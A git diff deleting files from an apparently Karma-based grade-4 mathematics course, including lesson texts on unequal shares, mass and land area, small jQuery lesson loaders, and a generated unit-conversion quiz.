index 9249954..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m07/map412m07a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m07/map412m07a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/js/lesson.js b/Save_Mathematics/P4/map412m07/map412m07a02/js/lesson.js
deleted file mode 100755
index 3adadd8..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m07/map412m07a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/lesson.js b/Save_Mathematics/P4/map412m07/map412m07a02/lesson.js
deleted file mode 100644
index 2c1d520..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m07/map412m07a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/source.txt b/Save_Mathematics/P4/map412m07/map412m07a02/source.txt
deleted file mode 100755
index 12632f8..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Guided Practice: Unequal Shares</h1>
-
-In this activity, the computer will present problems involving unequal shares. If 
-the answer is incorrect, the computer will show the solution with an explanation. 
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/a.txt b/Save_Mathematics/P4/map412m07/map412m07a03/a.txt
deleted file mode 100755
index 807bd4a..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Opportunity: Problems of Unequal Shares</h1>
-
-In this activity, you will have an opportunity to show what you have learned about 
-solving problems with unequal shares. Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/css/divs.css b/Save_Mathematics/P4/map412m07/map412m07a03/css/divs.css
deleted file mode 100755
index 1f40acd..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m07/map412m07a03 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m07/map412m07a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/description.py b/Save_Mathematics/P4/map412m07/map412m07a03/description.py
deleted file mode 100644
index 13f1c3b..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m07a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m07/map412m07a03/js/lesson-karma.js
deleted file mode 100755
index 209deac..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m07/map412m07a03 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m07/map412m07a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/js/lesson.js b/Save_Mathematics/P4/map412m07/map412m07a03/js/lesson.js
deleted file mode 100755
index 0ee928c..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m07/map412m07a03/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/lesson.js b/Save_Mathematics/P4/map412m07/map412m07a03/lesson.js
deleted file mode 100644
index 6a1839c..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m07/map412m07a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m07/map412m07a03/source.txt b/Save_Mathematics/P4/map412m07/map412m07a03/source.txt
deleted file mode 100755
index 807bd4a..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a03/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Opportunity: Problems of Unequal Shares</h1>
-
-In this activity, you will have an opportunity to show what you have learned about 
-solving problems with unequal shares. Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m08/activities.js b/Save_Mathematics/P4/map412m08/activities.js
deleted file mode 100755
index 13760c4..0000000
--- a/Save_Mathematics/P4/map412m08/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m08a01','blue'],
-['2','2','map4','basic','map412m08a02','blue'],
-['3','3','map4','basic','map412m08a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m08/map412m08a01/a.txt b/Save_Mathematics/P4/map412m08/map412m08a01/a.txt
deleted file mode 100755
index 7f9a758..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a01/a.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<h1>Introduction: Measurement of Mass</h1>
-<!--NG-->
-
-Often you buy items in the shop by weight (or mass). For example, you may want to buy some rice. The rice costs 100 RWF per kilogram. The kilogram is a standard unit of measurement for mass (the unit for length is the meter, the unit for capacity is the liter).
-
-Do you remember the prefixes for the units of length and capacity?
-
-kilo - thousand
-heca - hundred
-deca - ten
-deci - tenth
-centi - hundredth
-mili - thousandth
-
-For mass, we have the kilogram (1 kg or 1000 grams), hecagram (1 hg or 100 grams) , decagram (1 dag or 10 grams) , gram (1 g), decigram ( 1 dg or 1/10 gram), centigram (1 cg or 1/100 gram), and milligram (1 mg or1/1000 gram).
-
-The conversion between units of mass is exactly the same as the conversion for length and capacity. In general, you use the unit that is most convenient.
-For example, in shops, the common unit is the kilogram. However, in a pharmacy, the gram is a more convenient unit. 
diff --git a/Save_Mathematics/P4/map412m08/map412m08a01/css/divs.css b/Save_Mathematics/P4/map412m08/map412m08a01/css/divs.css
deleted file mode 100755
index f4817e8..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:16.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m07/map412m07a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m07/map412m07a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m08/map412m08a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m08/map412m08a01/js/lesson-karma.js
deleted file mode 100755
index 94f2ba7..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:16.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m07/map412m07a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m07/map412m07a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m08/map412m08a01/js/lesson.js b/Save_Mathematics/P4/map412m08/map412m08a01/js/lesson.js
deleted file mode 100755
index 77910aa..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a01/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics11/map412m08/map412m08a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m08/map412m08a01/source.txt b/Save_Mathematics/P4/map412m08/map412m08a01/source.txt
deleted file mode 100755
index 7f9a758..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a01/source.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<h1>Introduction: Measurement of Mass</h1>
-<!--NG-->
-
-Often you buy items in the shop by weight (or mass). For example, you may want to buy some rice. The rice costs 100 RWF per kilogram. The kilogram is a standard unit of measurement for mass (the unit for length is the meter, the unit for capacity is the liter).
-
-Do you remember the prefixes for the units of length and capacity?
-
-kilo - thousand
-heca - hundred
-deca - ten
-deci - tenth
-centi - hundredth
-mili - thousandth
-
-For mass, we have the kilogram (1 kg or 1000 grams), hecagram (1 hg or 100 grams) , decagram (1 dag or 10 grams) , gram (1 g), decigram ( 1 dg or 1/10 gram), centigram (1 cg or 1/100 gram), and milligram (1 mg or1/1000 gram).
-
-The conversion between units of mass is exactly the same as the conversion for length and capacity. In general, you use the unit that is most convenient.
-For example, in shops, the common unit is the kilogram. However, in a pharmacy, the gram is a more convenient unit. 
diff --git a/Save_Mathematics/P4/map412m08/map412m08a02/a.txt b/Save_Mathematics/P4/map412m08/map412m08a02/a.txt
deleted file mode 100755
index 825ff48..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a02/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Guided Practice: Measurement of Mass</h1>
-<!--NG-->
-
-The computer will give examples of mass in various units. 
-The student will give the same measure in a different unit. If the student 
-gives an incorrect answer, the computer will show the correct solution 
-by using a conversion table. 
diff --git a/Save_Mathematics/P4/map412m08/map412m08a02/css/divs.css b/Save_Mathematics/P4/map412m08/map412m08a02/css/divs.css
deleted file mode 100755
index 73f3b2d..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:16.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m07/map412m07a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m07/map412m07a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m08/map412m08a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m08/map412m08a02/js/lesson-karma.js
deleted file mode 100755
index 9e7214c..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:16.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m07/map412m07a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m07/map412m07a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m08/map412m08a02/js/lesson.js b/Save_Mathematics/P4/map412m08/map412m08a02/js/lesson.js
deleted file mode 100755
index 57155fc..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a02/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics11/map412m08/map412m08a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m08/map412m08a02/source.txt b/Save_Mathematics/P4/map412m08/map412m08a02/source.txt
deleted file mode 100755
index 825ff48..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a02/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Guided Practice: Measurement of Mass</h1>
-<!--NG-->
-
-The computer will give examples of mass in various units. 
-The student will give the same measure in a different unit. If the student 
-gives an incorrect answer, the computer will show the correct solution 
-by using a conversion table. 
diff --git a/Save_Mathematics/P4/map412m08/map412m08a03/a.txt b/Save_Mathematics/P4/map412m08/map412m08a03/a.txt
deleted file mode 100755
index b921947..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a03/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Opportunity: Measurement of Mass</h1>
-<!--NG-->
-
-In this activity you will have the opportunity to show what you have learned 
-about measuring mass. Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m08/map412m08a03/css/divs.css b/Save_Mathematics/P4/map412m08/map412m08a03/css/divs.css
deleted file mode 100755
index 010d389..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:16.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m07/map412m07a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m07/map412m07a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m08/map412m08a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m08/map412m08a03/js/lesson-karma.js
deleted file mode 100755
index 32157ce..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a03/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:16.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m07/map412m07a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m07/map412m07a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m08/map412m08a03/js/lesson.js b/Save_Mathematics/P4/map412m08/map412m08a03/js/lesson.js
deleted file mode 100755
index 7c52004..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a03/js/lesson.js
+++ /dev/null
@@ -1,73 +0,0 @@
-//problems in conversion of mass
-//units:mg,g,kg,t
-//give a measurement in one unit, answer is in a second unit
-
-var something = ['flour','cheese','cereal','coal','medicine','bricks'];
-var units = ['mg','cg','dg','g','dag','hg','kg','dq','q','t'];
-var factor = [0,10,100,1000,10000,100000,1000000,10000000,100000000,1000000000]
-var nunits = units.length;
-
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-};
-
-function shift(i1,i2,amount){
-  if(i2>i1){
-      f = factor[i2-i1];
-      return amount/f;
-  }else{
-      f = factor[i1-i2];
-      return amount*f;
-  }
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        indx = parseInt(Math.random()*something.length-1)+1;
-        item = something[indx];
-        indx1 = Math.floor(Math.random()*nunits)
-        unit1 = units[indx1]
-        do{
-            indx2 = Math.floor(Math.random()*nunits);
-            unit2 = units[indx2]
-          } while (indx1 == indx2);
-        amount1= parseInt(generate_operand(1,1000));
-        amount2= (shift(indx1,indx2,amount1)).toPrecision(amount1.length);
-        quiztxt = quiztxt + "{ ques:"
-        quiztxt = quiztxt + "'You have "+amount1+" "+unit1+" of "+item; 
-        quiztxt = quiztxt + " How much do you have in "+unit2+"?'," 
-        quiztxt = quiztxt + " ans:'"+amount2+" "+unit2+"'},\n"  
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m08/map412m08a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m08/map412m08a03/js/quiz.js b/Save_Mathematics/P4/map412m08/map412m08a03/js/quiz.js
deleted file mode 100755
index 105d77f..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a03/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ ques:'You have 247 dq of bricks How much do you have in dag?', ans:'247000 dag'},
-{ ques:'You have 318 t of cereal How much do you have in mg?', ans:'318000000000 mg'},
-{ ques:'You have 659 cg of cereal How much do you have in kg?', ans:'0.00659 kg'},
-{ ques:'You have 573 dq of cheese How much do you have in mg?', ans:'5730000000 mg'},
-{ ques:'You have 688 dg of cereal How much do you have in cg?', ans:'6880 cg'},
-{ ques:'You have 158 kg of cheese How much do you have in cg?', ans:'15800000 cg'},
-{ ques:'You have 868 mg of bricks How much do you have in t?', ans:'8.68e-7 t'},
-{ ques:'You have 233 dg of cereal How much do you have in dag?', ans:'2.33 dag'},
-{ ques:'You have 633 g of cheese How much do you have in hg?', ans:'6.33 hg'},
-{ ques:'You have 399 cg of coal How much do you have in dq?', ans:'0.000399 dq'},
-{ ques:'You have 948 cg of cheese How much do you have in dg?', ans:'94.8 dg'},
-{ ques:'You have 332 kg of coal How much do you have in hg?', ans:'3320 hg'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m08/map412m08a03/source.txt b/Save_Mathematics/P4/map412m08/map412m08a03/source.txt
deleted file mode 100755
index b921947..0000000
--- a/Save_Mathematics/P4/map412m08/map412m08a03/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Opportunity: Measurement of Mass</h1>
-<!--NG-->
-
-In this activity you will have the opportunity to show what you have learned 
-about measuring mass. Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m09/activities.js b/Save_Mathematics/P4/map412m09/activities.js
deleted file mode 100755
index 410ba35..0000000
--- a/Save_Mathematics/P4/map412m09/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m09a01','blue'],
-['2','2','map4','basic','map412m09a02','blue'],
-['3','3','map4','basic','map412m09a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/a.txt b/Save_Mathematics/P4/map412m09/map412m09a01/a.txt
deleted file mode 100755
index 8911155..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/a.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-<h1>Introduction:Measurement of Surface and Land Area</h1>
-
-The unit of length is the meter. Suppose we have a square with a side equal to one meter. 
-We say the surface area of this square is one square meter or one m2.
-
-Imagine the square is a floor tile. We want to place these tiles on the floor of a rectangular room 10 meters long and 4 meters wide. 
-How many tiles do we need? We need 40 (4 rows of 10 tiles). The surface area of the floor is 40m2.
-
-The unit of measure of surface area is the square meter (m2). Just as in measurement of length, 
-there are other units: square centimeter (cm2), square millimeter (mm2), square decimeter (dm2).
-
-When measuring the surface area of land, we need bigger units. The hectare (ha) is a common unit. 
-From the prefix, hect-, you can guess that a hectare = 100 are. From the prefix, cent-, 
-you can guess that a centare = 1/100 are.
-
-The surface area of a centare is one square meter (1 m2). The surface area of our tile was one centare. 
-The surface area of an are is 100m2. The surface area of a hectare is 10 000m2, 100 times that of an are.
-
-What would be the surface area in hectares of a square piece of land one kilometer on a side? The surface area is 1 km2. This is also a square with 1000 meters on a side. 
-Think of our 1m2 tiles. We would need 1000x1000 tiles to cover the surface! 
-So a square kilometre has the same surface area as 100 hectares.
-
-Remember that when we multiply a number by itself, 
-we call the product the square of the number - can you see why? 
-If I have a square 2 meters on a side, the surface area is the square of the length, 4 m2.
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/css/divs.css b/Save_Mathematics/P4/map412m09/map412m09a01/css/divs.css
deleted file mode 100755
index 8ebf50a..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m09/map412m09a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m09/map412m09a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/description.py b/Save_Mathematics/P4/map412m09/map412m09a01/description.py
deleted file mode 100644
index 036004a..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m09a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m09/map412m09a01/js/lesson-karma.js
deleted file mode 100755
index 4c9db1a..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m09/map412m09a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m09/map412m09a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/js/lesson.js b/Save_Mathematics/P4/map412m09/map412m09a01/js/lesson.js
deleted file mode 100755
index 2716df0..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m09/map412m09a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/lesson.js b/Save_Mathematics/P4/map412m09/map412m09a01/lesson.js
deleted file mode 100644
index 2d2577b..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m09/map412m09a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m09/map412m09a01/source.txt b/Save_Mathematics/P4/map412m09/map412m09a01/source.txt
deleted file mode 100755
index 8911155..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a01/source.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-<h1>Introduction:Measurement of Surface and Land Area</h1>
-
-The unit of length is the meter. Suppose we have a square with a side equal to one meter. 
-We say the surface area of this square is one square meter or one m2.
-
-Imagine the square is a floor tile. We want to place these tiles on the floor of a rectangular room 10 meters long and 4 meters wide. 
-How many tiles do we need? We need 40 (4 rows of 10 tiles). The surface area of the floor is 40m2.
-
-The unit of measure of surface area is the square meter (m2). Just as in measurement of length, 
-there are other units: square centimeter (cm2), square millimeter (mm2), square decimeter (dm2).
-
-When measuring the surface area of land, we need bigger units. The hectare (ha) is a common unit. 
-From the prefix, hect-, you can guess that a hectare = 100 are. From the prefix, cent-, 
-you can guess that a centare = 1/100 are.
-
-The surface area of a centare is one square meter (1 m2). The surface area of our tile was one centare. 
-The surface area of an are is 100m2. The surface area of a hectare is 10 000m2, 100 times that of an are.
-
-What would be the surface area in hectares of a square piece of land one kilometer on a side? The surface area is 1 km2. This is also a square with 1000 meters on a side. 
-Think of our 1m2 tiles. We would need 1000x1000 tiles to cover the surface! 
-So a square kilometre has the same surface area as 100 hectares.
-
-Remember that when we multiply a number by itself, 
-we call the product the square of the number - can you see why? 
-If I have a square 2 meters on a side, the surface area is the square of the length, 4 m2.
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/a.txt b/Save_Mathematics/P4/map412m09/map412m09a02/a.txt
deleted file mode 100755
index 54d7d21..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Guided Practice: Measurement of Surface and Land Area</h1>
-
-The computer will pose problems in converting between 
-units of surface area and land surface area. If the student gives an incorrect answer, 
-the computer will animate the procedure using conversion tables and explain it by 
-numerical reasoning.
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/css/divs.css b/Save_Mathematics/P4/map412m09/map412m09a02/css/divs.css
deleted file mode 100755
index 3188537..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m09/map412m09a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m09/map412m09a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/description.py b/Save_Mathematics/P4/map412m09/map412m09a02/description.py
deleted file mode 100644
index e955f1c..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m09a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m09/map412m09a02/js/lesson-karma.js
deleted file mode 100755
index 91b7dc0..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m09/map412m09a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m09/map412m09a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/js/lesson.js b/Save_Mathematics/P4/map412m09/map412m09a02/js/lesson.js
deleted file mode 100755
index 2578212..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m09/map412m09a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/lesson.js b/Save_Mathematics/P4/map412m09/map412m09a02/lesson.js
deleted file mode 100644
index 60b9d85..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/lesson.js
